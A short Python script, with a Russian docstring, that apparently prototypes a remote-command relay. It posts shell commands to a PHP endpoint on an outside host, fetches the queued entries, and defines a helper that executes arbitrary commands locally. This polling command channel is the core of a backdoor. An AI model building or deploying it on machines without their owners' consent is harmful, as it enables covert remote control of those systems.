"""
бесконечно ждет моей команды 

если есть команда то шлю в МС внутри него --принимает ПОСТ запрос который пишет в поле комманд гашу при условии что статус вейт--

асинхронно запрашиваем все доступные заголовки --ГЕТ запрос который запрашивает массив хмл--

"""

import requests
import subprocess
import shlex
from subprocess import TimeoutExpired

url = 'http://wqdawwdada.temp.swtest.ru/ms.php'

def get_all():
    params = {'type': 'all'}
    response = requests.get(url, params=params)
    print(response.text)

def send_command(command):
    data = {'type': 'ncomm', 'command': command}
    response = requests.post(url, data=data)
    print(response.text)

def run_command_with_timeout(command, timeout):
    try:
        cmd_args = shlex.split(command)
        proc = subprocess.Popen(cmd_args, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        stdout, stderr = proc.communicate(timeout=timeout)
        return (
            proc.returncode,
            stdout.decode('utf-8', errors='ignore'),
            stderr.decode('utf-8', errors='ignore')
        )
    except TimeoutExpired:
        proc.kill()
        stdout, stderr = proc.communicate()
        return (
            -1,
            stdout.decode('utf-8', errors='ignore'),
            stderr.decode('utf-8', errors='ignore')
        )

# print(get_command())
# print(send_result('ress'))


def main(): 
    # send_command('diir')
    # send_command('ping 8.8.8.8')
    get_all()

main()